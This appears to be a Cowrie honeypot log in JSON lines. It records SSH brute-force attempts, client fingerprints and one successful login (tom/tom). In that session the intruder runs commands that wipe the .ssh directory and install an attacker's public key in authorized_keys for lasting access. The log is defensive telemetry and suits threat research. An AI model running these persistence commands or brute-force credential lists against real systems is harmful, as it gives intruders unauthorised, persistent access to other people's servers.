{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:16:41.787424Z","src_ip":"77.94.47.83","session":"6627abd9155d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45056,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d686ce059a9","protocol":"telnet","message":"New connection: 152.42.224.71:45056 (10.17.0.5:23) [session: 2d686ce059a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:16:49.564836Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":41326,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cb196c3e73d","protocol":"ssh","message":"New connection: 43.130.29.69:41326 (159.203.135.109:22) [session: 4cb196c3e73d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:08.881772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:08.886449Z","src_ip":"43.130.29.69","session":"4cb196c3e73d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:08.955138Z","src_ip":"43.130.29.69","session":"4cb196c3e73d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"132132","message":"login attempt [root/132132] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:09.261926Z","src_ip":"43.130.29.69","session":"4cb196c3e73d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:10.333729Z","src_ip":"43.130.29.69","session":"4cb196c3e73d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":49538,"dst_ip":"159.203.135.109","dst_port":22,"session":"90411dfec209","protocol":"ssh","message":"New connection: 94.159.98.239:49538 (159.203.135.109:22) [session: 90411dfec209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:22.898535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:22.966663Z","src_ip":"94.159.98.239","session":"90411dfec209","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:23.103987Z","src_ip":"94.159.98.239","session":"90411dfec209","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:23.862781Z","src_ip":"94.159.98.239","session":"90411dfec209","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":54038,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdc61e98a923","protocol":"ssh","message":"New connection: 103.122.221.179:54038 (10.17.0.5:22) [session: fdc61e98a923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:24.380659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:24.386695Z","src_ip":"103.122.221.179","session":"fdc61e98a923","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:24.635870Z","src_ip":"103.122.221.179","session":"fdc61e98a923","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:25.169643Z","src_ip":"94.159.98.239","session":"90411dfec209","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:25.639933Z","src_ip":"103.122.221.179","session":"fdc61e98a923","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:26.896472Z","src_ip":"103.122.221.179","session":"fdc61e98a923","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":50510,"dst_ip":"10.17.0.5","dst_port":22,"session":"b84b16fbe311","protocol":"ssh","message":"New connection: 80.94.92.184:50510 (10.17.0.5:22) [session: b84b16fbe311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:31.702003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:31.928572Z","src_ip":"80.94.92.184","session":"b84b16fbe311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:31.936725Z","src_ip":"80.94.92.184","session":"b84b16fbe311","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:34.399155Z","src_ip":"80.94.92.184","session":"b84b16fbe311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:35.525095Z","src_ip":"80.94.92.184","session":"b84b16fbe311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":23796,"dst_ip":"159.203.135.109","dst_port":22,"session":"975d524b2b52","protocol":"ssh","message":"New connection: 38.93.206.2:23796 (159.203.135.109:22) [session: 975d524b2b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:50.252695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:50.257332Z","src_ip":"38.93.206.2","session":"975d524b2b52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:50.307336Z","src_ip":"38.93.206.2","session":"975d524b2b52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc12345","message":"login attempt [root/zxc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:50.458042Z","src_ip":"38.93.206.2","session":"975d524b2b52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:17:51.513833Z","src_ip":"38.93.206.2","session":"975d524b2b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":40406,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a6f3e6bff8e","protocol":"ssh","message":"New connection: 62.133.63.178:40406 (10.17.0.5:22) [session: 8a6f3e6bff8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:15.354599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:15.359931Z","src_ip":"62.133.63.178","session":"8a6f3e6bff8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:15.489277Z","src_ip":"62.133.63.178","session":"8a6f3e6bff8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"963852741","message":"login attempt [root/963852741] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:15.872303Z","src_ip":"62.133.63.178","session":"8a6f3e6bff8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:17.003396Z","src_ip":"62.133.63.178","session":"8a6f3e6bff8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":52208,"dst_ip":"159.203.135.109","dst_port":22,"session":"08e30042a402","protocol":"ssh","message":"New connection: 43.130.29.69:52208 (159.203.135.109:22) [session: 08e30042a402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:19.498840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:19.502625Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:19.571763Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:19.876603Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:20.047934Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:20.050969Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:20.054523Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:20.235101Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:20.350138Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:20.354477Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/tom/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:20.429999Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
